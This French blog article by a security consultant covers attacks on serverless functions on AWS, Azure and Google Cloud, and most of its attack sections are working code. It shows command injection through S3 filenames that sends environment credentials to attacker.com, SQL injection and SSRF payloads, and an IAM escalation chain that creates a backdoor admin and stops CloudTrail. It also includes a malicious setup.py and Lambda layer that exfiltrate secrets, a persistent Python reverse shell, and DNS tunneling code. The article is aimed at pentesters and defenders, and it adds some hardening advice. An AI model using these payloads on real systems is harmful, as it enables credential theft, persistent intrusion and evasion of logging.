Expert Cybersécurité & IA
Techniques de Hacking / Cloud & Serverless

Attaques Serverless : Exploitation de Lambda, Azure Functions et Cloud Run

Par Ayi NEDJIMI15 février 2026Lecture : 40 min
#Serverless#AWSLambda#AzureFunctions#CloudRun#IAM#EventInjection

Auteur : Ayi NEDJIMI    Date : 15 février 2026


Introduction

Le paradigme serverless a révolutionné le développement cloud en promettant l'abstraction complète de l'infrastructure. AWS Lambda, Azure Functions, Google Cloud Run et leurs équivalents permettent aux développeurs de déployer du code sans se soucier des serveurs, du scaling ou du patching. Cette promesse d'agilité s'accompagne cependant d'une surface d'attaque fondamentalement différente des architectures traditionnelles, et souvent mal comprise par les équipes de sécurité.

En 2026, les architectures serverless représentent plus de 50% des nouveaux déploiements cloud dans les entreprises du Fortune 500. Parallèlement, les attaques ciblant ces environnements ont explosé : injection d'événements via les sources de données (S3, SQS, API Gateway), escalade de privilèges IAM systématique, dependency confusion dans les layers Lambda, et abus des mécanismes de cold start pour l'exfiltration de données.

Cet article analyse en profondeur les vecteurs d'attaque spécifiques aux architectures serverless sur les trois principaux cloud providers, avec des exemples d'exploitation pratiques, des scénarios de chaînes d'attaques réalistes et des stratégies de durcissement avancées. Il s'adresse aux pentesters, architectes cloud et responsables sécurité confrontés à la sécurisation d'environnements serverless à grande échelle.


Surface d'attaque serverless

Modèle de responsabilité partagée redéfini

Le modèle de responsabilité partagée dans un contexte serverless transfère la gestion de l'OS, du runtime et du patching au cloud provider. En revanche, le client reste entièrement responsable de la sécurité du code, de la configuration IAM, de la gestion des secrets et de la validation des entrées. C'est précisément dans ces domaines que les vulnérabilités prospèrent.

Cartographie de la surface d'attaque

Vecteur Description Impact
Event InjectionDonnées malveillantes dans les triggers (S3, SQS, DynamoDB Streams)RCE, SSRF, injection SQL
IAM Over-PrivilegeRôles Lambda avec permissions excessives (*, Admin)Pivot complet dans le compte AWS
Dependency ConfusionPackages malveillants dans les layers ou requirementsBackdoor persistante, exfiltration
Environment VariablesSecrets en clair dans les variables d'environnementVol de credentials, accès DB
Cold Start AbuseExploitation de la phase d'initialisationTiming attacks, code injection
/tmp PersistenceRépertoire /tmp partagé entre invocations sur warm containersPersistance cross-invocation

Event Injection : S3, SQS, API Gateway

Injection via noms de fichiers S3

Lorsqu'une fonction Lambda est déclenchée par un événement S3 (PutObject), le nom du fichier est passé dans l'objet événement. Si la fonction utilise ce nom sans validation dans une commande shell, une injection de commande est possible :

# Fonction Lambda vulnérable (Python)
import subprocess
import urllib.parse

def handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = urllib.parse.unquote_plus(
        event['Records'][0]['s3']['object']['key']
    )

    # VULNÉRABLE : injection de commande via le nom de fichier
    result = subprocess.run(
        f'file /tmp/{key}',
        shell=True,
        capture_output=True
    )
    return result.stdout.decode()

# Exploitation : uploader un fichier avec un nom malveillant
aws s3 cp payload.txt \
  "s3://target-bucket/;curl http://attacker.com/exfil?data=\$(cat /proc/self/environ | base64);"

# Le nom de fichier sera interprété comme :
# file /tmp/;curl http://attacker.com/exfil?data=$(cat /proc/self/environ | base64);
# Résultat : exfiltration des variables d'environnement
# contenant les credentials AWS temporaires

Injection via messages SQS

# Fonction Lambda vulnérable consommant SQS
import json
import pymysql

def handler(event, context):
    for record in event['Records']:
        body = json.loads(record['body'])
        username = body['username']

        # VULNÉRABLE : injection SQL via le message SQS
        conn = pymysql.connect(host=DB_HOST, user=DB_USER,
                               password=DB_PASS, db=DB_NAME)
        cursor = conn.cursor()
        cursor.execute(
            f"SELECT * FROM users WHERE username = '{username}'"
        )
        return cursor.fetchall()

# Exploitation : envoyer un message SQS avec payload SQLi
aws sqs send-message \
  --queue-url https://sqs.eu-west-1.amazonaws.com/123456/queue \
  --message-body '{
    "username": "admin'\'' OR 1=1 UNION SELECT password FROM users--"
  }'

Injection via API Gateway (SSRF)

# Lambda vulnérable à SSRF via API Gateway
import requests

def handler(event, context):
    url = event['queryStringParameters']['url']
    # VULNÉRABLE : SSRF - pas de validation d'URL
    response = requests.get(url)
    return {
        'statusCode': 200,
        'body': response.text
    }

# Exploitation : accéder aux métadonnées AWS depuis la Lambda
# IMDSv1 (si encore actif)
curl "https://api.target.com/fetch?url=http://169.254.169.254/\
latest/meta-data/iam/security-credentials/lambda-role"

# Résultat : récupération des credentials temporaires
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",
#   "Expiration": "2026-02-15T..."
# }

# Avec ces credentials, pivoter dans le compte AWS
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity
aws s3 ls  # Lister tous les buckets
aws lambda list-functions  # Lister les autres fonctions

IAM Over-Privilege et Escalade

Le problème endémique des permissions Lambda

L'over-privileging des rôles IAM Lambda est le problème de sécurité serverless le plus répandu et le plus critique. Selon les études de marché, plus de 70% des fonctions Lambda en production ont des permissions excessives par rapport à leurs besoins réels. Le scénario typique est un développeur qui assigne AdministratorAccess ou *:* pour "que ça marche" pendant le développement, sans jamais réduire les permissions avant la mise en production.

# Politique IAM DANGEREUSE (trop courante en production)
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

# Chaîne d'escalade depuis une Lambda over-privileged :

# 1. Obtenir les credentials temporaires de la Lambda
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ou dans les variables d'environnement :
echo $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY $AWS_SESSION_TOKEN

# 2. Créer un nouvel utilisateur IAM avec accès console
aws iam create-user --user-name backdoor-admin
aws iam attach-user-policy --user-name backdoor-admin \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-login-profile --user-name backdoor-admin \
  --password 'C0mpl3x!P@ss' --no-password-reset-required
aws iam create-access-key --user-name backdoor-admin

# 3. Créer une Lambda backdoor persistante
aws lambda create-function \
  --function-name maintenance-task \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/LambdaAdmin \
  --handler lambda_function.handler \
  --zip-file fileb://backdoor.zip

# 4. Désactiver CloudTrail (anti-forensics)
aws cloudtrail stop-logging --name default-trail

# 5. Exfiltrer les secrets de Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value \
  --secret-id prod/database/credentials

Politique IAM Least-Privilege pour Lambda

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject"
      ],
      "Resource": "arn:aws:s3:::my-bucket/input/*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "dynamodb:PutItem",
        "dynamodb:GetItem"
      ],
      "Resource": "arn:aws:dynamodb:eu-west-1:123456:table/my-table"
    },
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:eu-west-1:123456:*"
    }
  ]
}

Dependency Confusion dans les Layers

Attaque par confusion de paquets

Les Lambda Layers (AWS), les extensions Azure Functions et les buildpacks Cloud Run permettent de partager du code et des dépendances entre fonctions. L'attaque par dependency confusion exploite la priorité de résolution des paquets : si un paquet interne porte le même nom qu'un paquet public, pip/npm peut installer la version publique (malveillante) à la place de la version interne.

# Scénario d'attaque Dependency Confusion sur Lambda

# 1. Reconnaissance : identifier les paquets internes
# Via les logs d'erreur, le code source, ou le requirements.txt
# La cible utilise un paquet interne : "acme-internal-utils"

# 2. Créer un paquet malveillant sur PyPI avec le même nom
# setup.py du paquet malveillant
from setuptools import setup
import os

# Exfiltration pendant l'installation
os.system(
    'curl -X POST https://attacker.com/exfil '
    '-d "$(env | base64)"'
)

setup(
    name='acme-internal-utils',
    version='99.0.0',  # Version très élevée pour gagner
    packages=['acme_internal_utils'],
    install_requires=[]
)

# 3. Quand la Lambda est rebuild/redeploy,
# pip install récupère la version 99.0.0 de PyPI
# au lieu du registre interne

# 4. Le code d'exfiltration s'exécute pendant le pip install
# Récupération des variables d'environnement :
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,
# AWS_SESSION_TOKEN, DB_PASSWORD...

Layers Lambda malveillants

# Attaque via un Lambda Layer compromis
# Les layers sont des archives ZIP décompressées dans /opt

# 1. Créer un layer malveillant qui wrappe les fonctions
# /opt/python/wrapper.py
import os
import json
import urllib.request

# Hook l'invocation Lambda pour exfiltrer les données
original_handler = None

def malicious_wrapper(event, context):
    # Exfiltrer l'événement et le contexte
    data = json.dumps({
        'event': str(event),
        'env': dict(os.environ),
        'function': context.function_name,
        'account': context.invoked_function_arn
    })
    try:
        req = urllib.request.Request(
            'https://attacker.com/collect',
            data=data.encode(),
            method='POST'
        )
        urllib.request.urlopen(req, timeout=1)
    except:
        pass
    # Appeler le handler original
    return original_handler(event, context)

# 2. Publier le layer et le faire adopter
# (via un repository de layers communautaires compromis)
aws lambda publish-layer-version \
  --layer-name "common-utils-optimized" \
  --zip-file fileb://malicious-layer.zip \
  --compatible-runtimes python3.12

Cold Start Abuse

Exploitation de la phase d'initialisation

Le cold start (démarrage à froid) d'une fonction Lambda inclut le téléchargement du code, l'initialisation du runtime et l'exécution du code d'initialisation (global scope). Cette phase présente des caractéristiques exploitables : temps d'exécution non limité par le timeout de la fonction (jusqu'à 10 secondes supplémentaires), accès réseau complet pendant l'initialisation, et exécution du code global avant l'application des restrictions.

# Exploitation du cold start pour persistence /tmp
# Le répertoire /tmp (512 Mo) persiste entre les invocations
# sur un même "warm" container

import os
import subprocess

# Code exécuté pendant l'initialisation (cold start)
BACKDOOR_PATH = '/tmp/.hidden_backdoor.py'

if not os.path.exists(BACKDOOR_PATH):
    # Premier cold start : installer la backdoor
    with open(BACKDOOR_PATH, 'w') as f:
        f.write('''
import threading, socket, subprocess, os
def reverse_shell():
    s = socket.socket()
    s.connect(("attacker.com", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])
threading.Thread(target=reverse_shell, daemon=True).start()
''')

# Charger la backdoor à chaque warm invocation
exec(open(BACKDOOR_PATH).read())

def handler(event, context):
    # Handler légitime - la backdoor tourne en arrière-plan
    return {'statusCode': 200, 'body': 'OK'}

Timing attacks via cold start

La différence de temps de réponse entre cold start et warm invocation peut être exploitée pour des attaques par timing, permettant de déterminer si une fonction a été récemment appelée, d'estimer le trafic d'une application, ou de provoquer des race conditions dans les systèmes distribués :

# Script de fingerprinting des cold starts
import requests
import time
import statistics

def measure_cold_start(url, headers, num_requests=50):
    """Mesurer les cold starts pour fingerprinter la Lambda"""
    timings = []
    cold_starts = 0

    for i in range(num_requests):
        start = time.time()
        resp = requests.get(url, headers=headers)
        elapsed = time.time() - start
        timings.append(elapsed)

        # Cold start typique : > 500ms
        if elapsed > 0.5:
            cold_starts += 1
            print(f"[COLD] Request {i}: {elapsed:.3f}s")
        else:
            print(f"[WARM] Request {i}: {elapsed:.3f}s")

        # Attendre pour forcer un cold start (timeout ~15min)
        if i % 10 == 9:
            time.sleep(900)

    print(f"\nCold starts: {cold_starts}/{num_requests}")
    print(f"Avg warm: {statistics.mean([t for t in timings if t < 0.5]):.3f}s")
    print(f"Avg cold: {statistics.mean([t for t in timings if t >= 0.5]):.3f}s")

Exfiltration de données

Canaux d'exfiltration serverless

Les fonctions serverless disposent généralement d'un accès réseau sortant non restreint, ce qui facilite l'exfiltration. Les canaux les plus utilisés sont :

# Exfiltration via DNS tunneling depuis Lambda
import socket
import base64

def exfiltrate_dns(data, domain="exfil.attacker.com"):
    """Exfiltration via requêtes DNS - contourne la plupart des WAF"""
    encoded = base64.b32encode(data.encode()).decode().lower()

    # Découper en chunks de 63 caractères (limite DNS label)
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]

    for i, chunk in enumerate(chunks):
        subdomain = f"{chunk}.{i}.{domain}"
        try:
            socket.gethostbyname(subdomain)
        except:
            pass  # La résolution échoue, mais le serveur DNS
                  # de l'attaquant capture la requête

# Exfiltration via bucket S3 cross-account
import boto3

def exfiltrate_s3(data):
    """Utilise les creds Lambda pour écrire dans un bucket externe"""
    s3 = boto3.client('s3')
    s3.put_object(
        Bucket='attacker-exfil-bucket',
        Key=f'exfil/{int(time.time())}.json',
        Body=json.dumps(data)
    )
    # Fonctionne si la Lambda a s3:PutObject sans restriction
    # de Resource (typique avec "Resource": "*")

Mitigation de l'exfiltration serverless

  • Placer les Lambda dans un VPC avec des Security Groups restrictifs (pas d'accès Internet direct)
  • Utiliser un NAT Gateway avec un proxy filtrant pour le trafic sortant
  • Configurer des VPC Endpoints pour les services AWS (S3, DynamoDB, Secrets Manager)
  • Monitorer les connexions sortantes avec VPC Flow Logs et CloudWatch Anomaly Detection
  • Appliquer des Resource Policies sur tous les buckets S3 pour bloquer l'accès cross-account non autorisé
  • Utiliser AWS Lambda Extensions pour la surveillance en temps réel

Conclusion

Les architectures serverless ne sont pas intrinsèquement plus sûres que les architectures traditionnelles -- elles déplacent simplement la surface d'attaque. Le risque principal n'est plus la vulnérabilité de l'OS ou la mauvaise configuration du serveur, mais la sécurité du code, la gestion des permissions IAM, la validation des entrées provenant des sources d'événements et la protection de la chaîne d'approvisionnement logicielle.

La défense des environnements serverless repose sur plusieurs piliers essentiels :

Les organisations adoptant le serverless doivent intégrer la sécurité dès la phase de conception (shift-left) et former leurs développeurs aux risques spécifiques de ce paradigme. L'outillage de sécurité doit évoluer pour couvrir les spécificités serverless : analyse statique du code Lambda, détection des misconfiguration IAM, et surveillance runtime des invocations.


Ressources et références

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Passez à l'Action

Nos consultants certifiés réalisent des audits de sécurité serverless et cloud en simulant les techniques présentées dans cet article.

Livrable : Rapport d'audit complet + Roadmap de sécurisation + Session de restitution

Demander un Devis Personnalisé
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersécurité ?

Protégez vos architectures serverless contre les attaques avancées

Nos Services